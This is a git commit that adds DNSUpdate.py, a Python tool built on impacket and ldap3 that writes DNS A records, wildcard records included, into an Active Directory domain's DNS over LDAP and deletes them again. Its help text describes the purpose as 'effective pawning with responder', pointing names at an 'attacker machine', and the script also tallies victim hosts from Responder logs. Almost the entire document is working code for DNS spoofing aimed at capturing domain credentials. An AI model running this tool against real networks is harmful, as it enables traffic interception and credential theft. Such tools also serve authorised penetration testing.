Added DNSUpdate.py, a small script to add DNS record to DC for gatering from different VLANs

This commit is contained in:
Sagar-Jangam 2020-04-08 07:23:35 -04:00
parent eb449bb061
commit 05617defef

185
tools/DNSUpdate.py Normal file
View file

@ -0,0 +1,185 @@
#!/usr/bin/env python
import sys
import argparse
import getpass
import re
import socket
from impacket.structure import Structure
import ldap3
import dns.resolver
from collections import defaultdict
class DNS_RECORD(Structure):
"""
dnsRecord - used in LDAP [MS-DNSP] section 2.3.2.2
impacket based structure, all of the below are tuples in format (fieldName, format)
"""
structure = (
('DataLength', '<H-Data'),
('Type', '<H'),
('Version', 'B=5'),
('Rank', 'B'),
('Flags', '<H=0'),
('Serial', '<L'),
('TtlSeconds', '>L'),
('Reserved', '<L=0'),
('TimeStamp', '<L=0'),
('Data', ':')
)
class DNS_RPC_RECORD_A(Structure):
"""
DNS_RPC_RECORD_A [MS-DNSP] section 2.2.2.2.4.1
impacket based structure, all of the below are tuples in format (fieldName, format)
"""
structure = (
('address', ':'),
)
class DNS_RPC_RECORD_TS(Structure):
"""
DNS_RPC_RECORD_TS [MS-DNSP] section 2.2.2.2.4.23
impacket based structure, all of the below are tuples in format (fieldName, format)
"""
structure = (
('entombedTime', '<Q'),
)
def getserial(server, zone):
dnsresolver = dns.resolver.Resolver()
try:
socket.inet_aton(server)
dnsresolver.nameservers = [server]
except socket.error:
pass
res = dnsresolver.query(zone, 'SOA')
for answer in res:
return answer.serial + 1
def new_A_record(type, serial):
nr = DNS_RECORD()
nr['Type'] = type
nr['Serial'] = serial
nr['TtlSeconds'] = 180
nr['Rank'] = 240
return nr
ddict1 = defaultdict(list)
parser = argparse.ArgumentParser(description='Add/ Remove DNS records for an effective pawning with responder')
parser.add_argument("-DNS", type=str,help="IP address of the DNS server/ Domain Controller to connect to")
parser.add_argument("-u","--user",type=str,help="Domain\\Username for authentication.")
parser.add_argument("-p","--password",type=str,help="Password or LM:NTLM hash, will prompt if not specified")
parser.add_argument("-a", "--action", type=str, help="ad, rm, or an: add, remove, analyze")
parser.add_argument("-r", "--record", type=str, help="DNS record name")
parser.add_argument("-d", "--data", help="The IP address of attacker machine")
parser.add_argument("-l", "--logfile", type=str, help="The log file of Responder in analyze mode")
args = parser.parse_args()
#Checking Username and Password
if args.user is not None:
if not '\\' in args.user:
print('Username must include a domain, use: Domain\\username')
sys.exit(1)
if args.password is None:
args.password = getpass.getpass()
#Check the required arguments
if args.action in ['ad', 'rm']:
if args.action == 'ad' and not args.record:
flag = input("No record provided, Enter 'Y' to add a Wildcard record: ")
if flag.lower() == 'y' or flag.lower() == 'yes':
recordname = "*"
else:
sys.exit(1)
else:
recordname = args.record
if args.action == 'ad' and not args.data:
print("Provide an IP address with argument -d")
sys.exit(1)
if args.action == "rm" and not args.record:
print("No record provided to be deleted")
elif args.action == "an":
if args.logfile:
with open(args.logfile) as infile:
for lline in infile:
templist = lline.split(":")
tempIP = templist[2].split( )[0]
tempRecord = templist[3].split( )[0]
ddict1[tempRecord].append(tempIP)
infile.close()
for k,v in ddict1.items():
print("The request %s was made by %s hosts" % (k, len(set(v))))
sys.exit(0)
else:
print("Provide a log file from responder session in analyze mode")
sys.exit(1)
else:
print("Choose one of the three actions")
sys.exit(1)
#inital connection
dnserver = ldap3.Server(args.DNS, get_info=ldap3.ALL)
print('Connecting to host...')
con = ldap3.Connection(dnserver, user=args.user, password=args.password, authentication=ldap3.NTLM)
print('Binding to host')
# Binding with the user context
if not con.bind():
print('Bind failed, Check the Username and Password')
print(con.result)
sys.exit(1)
print('Bind OK')
#Configure DN for the record, gather domainroot, dnsroot, zone
domainroot = dnserver.info.other['defaultNamingContext'][0]
dnsroot = 'CN=MicrosoftDNS,DC=DomainDnsZones,%s' % domainroot
zone = re.sub(',DC=', '.', domainroot[domainroot.find('DC='):], flags=re.I)[3:]
if recordname.lower().endswith(zone.lower()):
recordname = recordname[:-(len(zone)+1)]
record_dn = 'DC=%s,DC=%s,%s' % (recordname, zone, dnsroot)
if args.action == 'ad':
record = new_A_record(1, getserial(args.DNS, zone))
record['Data'] = DNS_RPC_RECORD_A()
record['Data'] = socket.inet_aton(args.data)
#Adding the data to record object
recorddata = {
#'objectClass': ['top', 'dnsNode'],
'dNSTombstoned': False,
'name': recordname,
'dnsRecord': [record.getData()]
}
objectClass = ['top', 'dnsNode']
print('Adding the record')
con.add(record_dn, objectClass, recorddata)
#con.add(record_dn, ['top', 'dnsNode'], recorddata)
print(con.result)
elif args.action == 'rm':
#searching for the record
searchbase = 'DC=%s,%s' % (zone, dnsroot)
con.search(searchbase, '(&(objectClass=dnsNode)(name=%s))' % ldap3.utils.conv.escape_filter_chars(recordname), attributes=['dnsRecord','dNSTombstoned','name'])
if len(con.response) != 0:
for entry in con.response:
if entry['type'] != 'searchResEntry':
print("Provided record does not exists")
sys.exit(1)
else:
record_dn = entry['dn']
print(entry['raw_attributes']['dnsRecord'])
else:
print("Provided record does not exists")
con.delete(record_dn)
if con.result['description'] == "success":
print("Record deleted successfully")